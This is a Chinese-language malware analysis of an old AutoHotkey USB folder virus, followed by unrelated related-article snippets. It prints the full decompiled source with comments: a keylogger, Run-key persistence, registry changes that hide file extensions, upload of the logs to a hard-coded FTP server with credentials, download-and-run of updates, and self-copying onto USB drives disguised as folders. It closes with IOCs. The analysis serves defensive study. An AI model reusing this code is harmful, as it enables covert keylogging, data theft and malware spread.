一例AutoHotkey语言生成的文件夹病毒分析

news2025/1/18 20:25:15

概述

这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。

样本的基本信息

PE32
    库: AutoIt(3.XX)[-]
    编译器: EP:Microsoft Visual C/C++(2008-2010)[EXE32]
    编译器: Microsoft Visual C/C++(2010)[libcmt]
    链接程序: Microsoft Linker(10.0)[GUI32]
    附加: Binary
        数据: AutoIt compiled script(2.XX-3.XX)
文件大小: 664 KB (680,393 字节)
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4
SHA256: 67d184ecf4b2f01fdae6a3d8574a95e63ebf89ea1f1b01dd845b520a5e2cc9fc
Link date:    22:44 2011/1/18

这是一个典型的文件夹病毒,使用了win7的文件夹图标用作掩护(如下图所示),使用AutoHotKey语言编译而成。

使用autoit3 Decompiler工具将脚本还原出来。该工具下载地址为AutoIt3 Decompiler GUI v1.9 。AutoHotkey是一款开源的热键脚本语言,可以创建各种脚本和宏来自动化计算机任务。可用用SciTE4AutoHotkey(下载地址GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手)编译器来查看这种代码(支持高亮和折叠)。

病毒分析

下面对脚本的内容进行分析。(只对关键的代码进行注释)

SetWorkingDir %A_ScriptDir% ;设置当前工作目录为脚本所在的目录。
des_path = %A_AppData%\Microsoft\Office ;设置两个变量,一个是Office的安装路径,一个是Office的版本。
version = 2000
If A_ScriptName not contains rundll32 ;如果当前脚本的名称不包含"rundll32",则执行下面的代码。这是从U盘运行的情形
{
    If A_ScriptName contains ums ;如果当前脚本的名称包含"ums",则执行`copy`子程序并退出程序。
    {
        gosub copy
        ExitApp
    }

    ComObjError(false) ;关闭COM错误提示
    StringTrimRight, Target, A_ScriptName, 4 ;从脚本名称的右边剪切4个字符,并将结果保存到Target变量中,即去掉文件后缀名
    Target = %A_ScriptDir%\%Target% ;将Target变量设置为脚本目录加Target。
    IfNotExist, %Target% ;如果Target指定的目录不存在,则创建该目录。
        FileCreateDir, %Target%
    #IfWinActive, ahk_group MS_Explorer
        ShellNavigate(Target, WinExist("ahk_group MS_Explorer")) ;打开与本程序同名的目录,即被隐藏的原目录
    FileSetAttrib, +SH, %Target% ;将Target指定的目录设置为隐藏和系统属性。
    gosub install ;执行`install`子程序。
    ExitApp ;退出程序
}

;写入注册表操作,将"ShowSuperHidden"的值设置为0,隐藏受保护的操作系统文件
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0

;设置FTP服务器的相关信息,包括主机名、端口、用户名和密码。
FtpHost = ftp.byethost10.com
FtpPort = 21
FtpUsername = b10_7591157
FtpPassword = un10ck

;设置本地文件路径,这个文件用来记录用户的按键
localFile = %A_AppData%\Microsoft\Office\mspoint.pip
;设置FTP服务器上的目录路径,路径包含计算机名和用户名。
Dirpath = /htdocs/autohotkey/%A_ComputerName%_%A_UserName%
;获取所有可移动驱动器的列表,并将其保存在old_drive_list变量中。
DriveGet, old_drive_list, List, REMOVABLE
;监听设备变化的消息,当有设备插入或拔出时,调用WM_DEVICECHANGE函数。
OnMessage(0x219, "WM_DEVICECHANGE")

Gosub check ;调用check子程序。

time_c := 1000*60*30
SetTimer, check , %time_c% ;设置定时器,每隔30分钟执行一次check子程序。
oldtitle=nothing ;设置变量oldtitle的值为nothing。


;这段代码可能用于键盘的监听和记录,记录用户在每个窗口中的键盘操作,保存在本地文件mspoint.pip中。
Loop
{
  ;捕获用户的输入。如果用户输入了指定的按键(例如Enter、Esc等),那么将停止输入。
  Input, UserInput, V C, {enter}.{esc}{Space}{tab}{Left}{Right}{Up}{Down}{Home}{End}{BS}
  tvar:=Errorlevel
  WinGetActiveTitle, watitle ;获取当前活动窗口的标题,并将其保存到变量watitle中
  ;如果当前活动窗口的标题与上次记录的标题不同,且标题不为空,则执行以下操作
  if (watitle != oldtitle and watitle != "")
  {
    FileAppend, `n`n-------- %watitle% --------`n, %localFile% ;在本地文件mspoint.pip中记录当前窗口的标题。
    FormatTime, CurrentDateTime,, MM-dd-yyyy  hh:mm:ss tt ;获取当前日期和时间,并将其保存到变量CurrentDateTime中
    FileAppend, --------%CurrentDateTime% --------`n,%localFile% ;在本地文件中记录当前的日期和时间。
    oldtitle = %watitle% ;将当前窗口的标题保存到oldtitle变量中。
  }
  IfInString, tvar, EndKey: ;如果变量tvar包含"EndKey:",则执行以下操作:
  {
    StringSplit,endkey,tvar,`: ;将tvar变量的值按":"分割,将结果保存到endkey变量中。

    if endkey2=Enter ;如果endkey2的值为"Enter",则将用户的输入添加到本地文件mspoint.pip中
      FileAppend, %UserInput%`n, %localFile%
    else if endkey2=Space ;如果endkey2的值为"Space",则将用户的输入和一个空格添加到本地文件mspoint.pip中。
      FileAppend, %UserInput%%A_space%, %localFile%
    else if endkey2=. ;如果endkey2的值为".",则将用户的输入和一个"."添加到本地文件中。
      FileAppend,  %UserInput%. , %localFile%
    else ;对于其他情况,将用户的输入和按键添加到本地文件中。
    {
        StringLeft, endkey2, endkey2, 1
        FileAppend, %UserInput%[%endkey2%], %localFile%
    }
  }
}
return

check部分的功能主要是连接到FTP服务器,上传mspoint.pip文件,然后检查服务器是否有新的更新文件,如果有则下载并运行。

check: ;这段代码主要是连接到FTP服务器,上传文件,然后检查服务器是否有新的更新文件,如果有则下载并运行

IfNotExist, %localFile% ;检查本地文件mspoint.pip是否存在,如果不存在则返回。
    return

INetStart() ;启动网络服务
hFTP := INetConnect(FtpHost, FtpPort, FtpUsername, FtpPassword, "ftp", 1) ;连接到FTP服务器
If (!hFTP)
    Return

if(!FtpSetCurrentDirectory(hFTP , Dirpath)) ;设置FTP服务器的当前目录
{
    createdir()
    if(!FtpSetCurrentDirectory(hFTP , Dirpath))
    {
        INetCloseHandle(hFTP)
        INetStop()
        return
    }
}

If(upload()) ;上传mspoint.pip文件到FTP服务器
{
    FileGetSize, file_size, %localFile%, K ;获取本地文件的大小,如果文件大小大于200K,则删除该文件
    if file_size > 200
        Filedelete, %localFile%
}

;检查服务器是否有新的更新文件,如果有则下载并运行
FtpSetCurrentDirectory(hFTP , "/htdocs/update") ;FTP服务器的当前目录设置为"/htdocs/update"
if((hEnum := FtpFindFirstFile(hFTP, "ums*.exe", FTPData))) ;在FTP服务器的当前目录中查找第一个匹配"ums*.exe"的文件
{
    FileName := FtpGetFileInfo(FTPData, "Name") ;获取查找到的文件的信息
    StringMid, Outfilename, FileName, 4, 4 ;从filename第4个字符后取4个字符,应该是版本号,保存在Outfilename中
    oldversion := version
    if(Outfilename > version) ;若ftp上的版本大于当前的版本,下载新文件并运行
    {
        update_file = /htdocs/update/%FileName%
        if(FtpGetFile(hFTP, update_file, "ums.exe", "B", 1, 4)) ;FTP服务器下载更新文件
        {
            run ums.exe ;运行更新文件
            INetCloseHandle(hFTP)
            INetStop()
            Exitapp
        }
    }
}
INetCloseHandle(hFTP)
INetStop()

Return

install子程序,用于感染系统

install:
GroupAdd, MS_Explorer, ahk_class CabinetWClass
GroupAdd, MS_Explorer, ahk_class ExploreWClass

;从注册表中读取指定路径下的特定值,与隐藏后缀名有关
RegRead, refresh1, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, ShowSuperHidden
RegRead, refresh2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt

;若当前系统之前被感染过,读取之前病毒的版本
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion

;如果读取的注册表值不符合预期,则修改这些值,并刷新资源管理器窗口,隐藏文件后缀名
if(refresh1 != 0 or refresh2 != 1)
{
    RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0
    RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt, 1
    ShellNavigate("refresh", WinExist("ahk_group MS_Explorer"))
}

;从注册表中读取version
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion
if ErrorLevel = 1 ;如果读取注册表时发生错误,执行copy
    gosub copy
if version > %version2% ;如果`version`大于读取到的注册表值,调用`copy`标签下的代码
    gosub copy
IfNotExist, %des_path%\rundll32.exe ;如果指定路径下不存在`rundll32.exe`文件,调用`copy`标签下的代码。
    gosub copy
Process, Exist, rundll32.exe ;检查`rundll32.exe`进程是否存在。
if ErrorLevel = 0 ;如果`rundll32.exe`进程不存在,运行指定路径下的`rundll32.exe`。
    run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel 
ExitApp ;结束当前脚本。
return

copy子函数用于复制自身到系统中并添加开机启动项

copy:
Process, close, rundll32.exe ;结束名为`rundll32.exe`的进程
IfNotExist, %des_path% ;如果指定的路径不存在,则创建这个路径
    FileCreateDir, %des_path%
sleep 1000 ;暂停脚本执行1秒(1000毫秒)
IfExist, %des_path%\rundll32.exe ;如果指定路径下已经存在名为`rundll32.exe`的文件,则删除这个文件
    filedelete , %des_path%\rundll32.exe

;将当前运行的脚本文件复制到指定路径,并命名为`rundll32.exe`。`1`表示如果目标文件已存在,则覆盖它。
FileCopy, %A_ScriptFullPath%, %des_path%\rundll32.exe, 1
if ErrorLevel = 1
    return
;将复制的文件的属性设置为隐藏和系统文件。
FileSetAttrib, +SH, %des_path%\rundll32.exe

;将复制的文件路径写入到Windows的注册表,使其在每次启动系统时自动运行,并写入一个指定的版本号
RegWrite, REG_SZ, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %des_path%\rundll32.exe
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion, %version%

sleep 1000

;运行复制的文件,并将窗口隐藏
run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel
ExitApp
return

感染可移动存储介质

WM_DEVICECHANGE() ;当设备发生改变时,例如新接入或移除设备,这个函数将被调用
{
    global old_drive_list ;声明一个全局变量,用于存储上一次检测到的设备列表
    give_up := A_TickCount + 2500 ;设置一个超时时间,如果在2500毫秒内没有检测到新的设备,将会跳出循环
    Loop
    {
        DriveGet, new_drive_list, List, REMOVABLE ;获取所有可移动设备的列表
        if (old_drive_list != new_drive_list) ;如果新获取的设备列表与旧的设备列表不同,说明有新设备接入或旧设备移除,跳出循环。
            Break
        if (A_TickCount > give_up) ;如果当前时间超过了设置的超时时间,也跳出循环
            Break
    }
    new_drive := "" ;初始化新设备的变量
    if StrLen(new_drive_list) > StrLen(old_drive_list) ;如果新设备列表的长度大于旧设备列表的长度,说明有新设备接入。
    {
        Loop, Parse, new_drive_list ;遍历新设备列表
            IfNotInString, old_drive_list, %A_LoopField% ;如果旧设备列表中不包含当前设备,说明这是新接入的设备。
            {
                new_drive := A_LoopField ;将新接入的设备赋值给`new_drive`
                Break
            }
        process_new_drive(new_drive . ":") ;对新接入的设备进行处理,具体的处理方式由`process_new_drive`函数定义。
    }
    old_drive_list := new_drive_list ;更新设备列表
    Return
}


;这段代码的主要功能是将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并隐藏原文件或文件夹,显示复制的`.exe`文件。这样,当用户打开设备并点击文件或文件夹时,实际上运行的是复制的脚本文件。这是一种常见的病毒传播方式
process_new_drive(drive)
{
   ;这是一个循环,用于遍历新接入设备中的所有文件和文件夹。`%drive%\*.*`表示设备中的所有文件和文件夹,`2`表示包括子文件夹
    Loop, %drive%\*.* , 2 

    {
  ;将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并将复制的文件命名为原文件或文件夹的名称加上`.exe`后缀。`1`表示如果目标文件已存在,则覆盖它。
        FileCopy, %A_ScriptFullPath%, %drive%\%A_LoopFileName%.exe ,1
    ;将当前文件或文件夹的属性设置为隐藏和系统文件,`+SH`表示设置隐藏(Hidden)和系统(System)属性
        FileSetAttrib, +SH, %A_LoopFileLongPath%
    ;将复制的`.exe`文件的属性设置为非隐藏和非系统文件,`-SH`表示移除隐藏(Hidden)和系统(System)属性。
        FileSetAttrib, -SH, %drive%\%A_LoopFileName%.exe
    }
}

这个样本的基本功能比较简单,记录当前系统中窗口名称和用户按键保存在%AppData%\Microsoft\Office\mspoint.pip文件中,上传到ftp服务器上(ftp.byethost10.com),并从服务器上下载新的版本运行(落地为ums.exe)。

通过可移动存储介质传播,遍历U盘中的文件和目录,隐藏原文件和目录,将自身复制为同名的.exe文件,诱导用户点击。感染系统后,将自身复制到%AppData%\Microsoft\Office\rundll32.exe,并在注册表中添加开机启动项,并修改主机配置,隐藏文件后缀名。

这是文件夹病毒的通常操作。

ioc

hash
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4

文件
%AppData%\Microsoft\Office\rundll32.exe 病毒母体
%AppData%\Microsoft\Office\mspoint.pip 保存键盘记录
%AppData%\Microsoft\Office\ums.exe 更新文件
U盘中与文件和目录同名的.exe文件,使用win7的文件夹图标

网络
ftp.byethost10.com ftp服务器


注册表
这两项用于隐藏文件后缀名
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden=0
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt=1

这是病毒的版本
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion

开机启动项
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %AppData%\Microsoft\Office\rundll32.exe

参考资料

  • AutoHotkey用法教程(Chinar强烈推荐学习)_autohotkey中文手册-CSDN博客

  • AutoHotkey (sourceforge.net)

  • GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1979148.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cocos Creator2D游戏开发(11)-飞机大战(9)-cocos发布微信小游戏

准备工作: ① cocosCreator ②微信小游戏开发者工具 第一步: cocosCreator 打包编译,设置发布平台,默认场景,设备方向,AppId 最后点击构建 等待构建完成 第二步: 导入微信开发者工具 就是cocos Creator 中构建发布里面的发布路径 然后编译: 剩下的就是微信开发者工具…

Bootstrap框架介绍

1、Bootstrap框架的下载和使用 Bootstrap框架是基于HTML、CSS、JavaScript的CCS/HTML框架,是一种封装好的前端框架。它包括js、css、front字体样式库。该框架下载链接:https://v3.bootcss.com/getting-started/#download,并选择下载源码。 建一个BootstrapDemo文件夹,将js…

反激式电源为什么上电最容易烧MOS管?

大家好,这里是大话硬件。 这篇文章总结一下最近在研究的反激电源RCD吸收回路和VDS尖峰问题。这也是为什么MOS管在开机容易被电压应力击穿的原因。 下图是反激电源变压器部分的拓扑。 在MOS开通时,VDS上电压: 由于Rdson比较小,MOS开通时,VDS电压也较小。此时,MOS漏极电…

对象存储及其相关概念介绍

对象存储是一种用来描述解决和处理离散单元(这些离散单元被称作为对象)的方法的通用术语。以下是关于对象存储的详细解析: 一、基本概念 定义:对象存储,也叫做基于对象的存储,是一种将数据以对象的形式进…

【过题记录】8.4(robocom补题,网络流)

今天robocom国赛,因为一个bool函数忘记return 1而裂开(错失21分) 以此为戒 贪心消消乐 其实就是一个求最大子矩阵和的板子题 利用最大子段和的思想 枚举矩阵中的上下界 压成一维后利用最大子段和 O ( n ) O(n) O(n)处理 复杂度 O ( n 3 ∗ k ) O(n^3*k) O(n3∗k) k为…

VSCode开发Go的精准定位

下载Golang安装包 Download and install - The Go Programming Languagehttps://golang.google.cn/doc/install 安装完成后,配置go env go env -w GO111MODULE=on go env -w GOPROXY="https://goproxy.io,direct"

Maven介绍安装【后端 1】

Maven 入门与安装指南 引言 在Java开发领域,Maven作为一款强大的项目管理和构建工具,广受开发者喜爱。它不仅能够帮助我们管理项目依赖,还能统一项目结构,提供跨平台的自动化构建方式。本文将详细介绍Maven的基本概念、安装步骤以…

Face2V人脸向量开发包

Face2V SDK适用于需要人脸检测、人脸特征点和特征向量提取的应用,提供Web API和原生API。官方下载地址:Face2V SDK 。 1、目录组织 Face2V SDK开发包的目录组织说明如下: face2v_sdk | - core # 核心代码目录| -…

【算法】动态规划解决背包问题

应用场景——01背包问题 有一个背包,背包的容量为 4,现有如下物品 要求 1.目标为装入背包的总价值最大,并且重量不超出 2.要求装入的物品不能重复 动态规划算法介绍 1.动态规划算法的核心是:将大问题划分为小问题进行解决&…

函数调用的过程理解_汇编角度

目录 1、调用函数流程(main函数调用print函数):Step1 保存main函数现场地址等信息Step2 跳转到print函数的位置Step3 执行print函数的指令Step4 返回main函数,执行下一条指令流程连续性总结 2、其他知识总结 1、调用函数流程&…

竞赛报名管理系统asp.net+sqlserver

竞赛报名管理系统 功能简单 内容单调 适合学习 asp.net 三层架构 sqlserver2022数据库 账号登陆注册 用户管理 克赛管理 竞赛报名 竞赛评分 公告维护 修改密码 新增竞赛 2019数据库版本低 附加不了 需要高版本数据库 说明文档 运行前附加数据库.mdf(或sql生成数据…

24/8/4算法笔记 梯度下降

通过迭代地调整参数,沿着目标函数梯度的反方向(即最陡峭的下降方向)进行搜索,从而找到函数的局部最小值。 导入库 import matplotlib.pyplot as plt import numpy as np 构建方程和导数 #构建方程 f lambda x:(x-3.5)**2-4.…

代码随想录算法训练营第二天 | 209. 长度最小的子数组、59. 螺旋矩阵 II

目录 209. 长度最小的子数组1、题目描述2、思路3、code4、复杂度分析 LC59 螺旋矩阵 II1、题目描述2、思路3、code4、复杂度分析 209. 长度最小的子数组 题目链接:209 1、题目描述 给定一个含有 n 个正整数的数组和一个正整数 target 。找出该数组中满足其总和大于…

Netty一

Netty Netty介绍 Netty应用场景 I/O模型 阻塞IO 同步非阻塞IO 异步非阻塞IO BIO NIO AIO对比 Netty线程模型 Reactor模式 单Reactor单线程 单Reactor多线程 主从Reactor多线程 Netty模型 异步模型 Future-Listener机制 TCP粘包拆包基本介绍 Netty内存使用 Netty内存池化 Netty…

PCB设计

PCB设计 一、 元件封装是什么? 元件封装:一是指元件的包装方式,二是指元件的焊盘形状与尺寸。 在绘制PCB板的时候,要保证元件封装绘制正确,否则元件很可能无法焊接到成品板上。 不同的厂家生产的各类元器件的形状、尺…

用uniapp 及socket.io做一个简单聊天app 5

聊天中的通知及好友申请&#xff1a; 如下图效果 聊天的效果&#xff1a; 这里的friends&#xff0c;好友例表&#xff0c;里面有相关代码&#xff1a; <template><view class"friends-container"><view v-if"!isLoggedIn" class"…

【资治通鉴】“ 将欲取之、必先予之 “ 策略 ① ( 魏桓子 割让土地 | 资治通鉴原文分析 | 道德经、周书、吕氏春秋、六韬 中的相似策略 )

文章目录 一、" 将欲取之、必先予之 " 策略1、魏桓子 割让土地2、资治通鉴原文分析 二、" 将欲取之、必先予之 " 类似的原理1、将欲败之&#xff0c;必姑辅之&#xff1b;将欲取之&#xff0c;必姑与之 - 周书2、将欲歙之&#xff0c;必固张之&#xff0c;…

24年第五届“华数杯”数学建模竞赛浅析

需要完整资料&#xff0c;请关注WX&#xff1a;“小何数模”&#xff01; 本次华数杯数模比赛的赛题已正式出炉&#xff0c;无论是赛题难度还是认可度&#xff0c;该比赛都是仅次于数模国赛的独一档&#xff0c;可以用于国赛前的练手训练。考虑到大家解题实属不易&#xff0c;…

24/8/4算法笔记 线性回归

在简单或多元线性回归中&#xff0c;最小二乘法用来估计模型参数&#xff0c;使得预测值与实际值之间的差异&#xff08;残差&#xff09;的平方和最小。 最小二乘法 导入代码包 import numpy as np Xnp.array([[1,1],[2,1]]) X 构建矩阵 ynp.array([14,10]) y linalg是线…

电子电气架构 --- 域控制器在新架构中的功能承担

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己,无利益不试图说服别人,是精神上的节…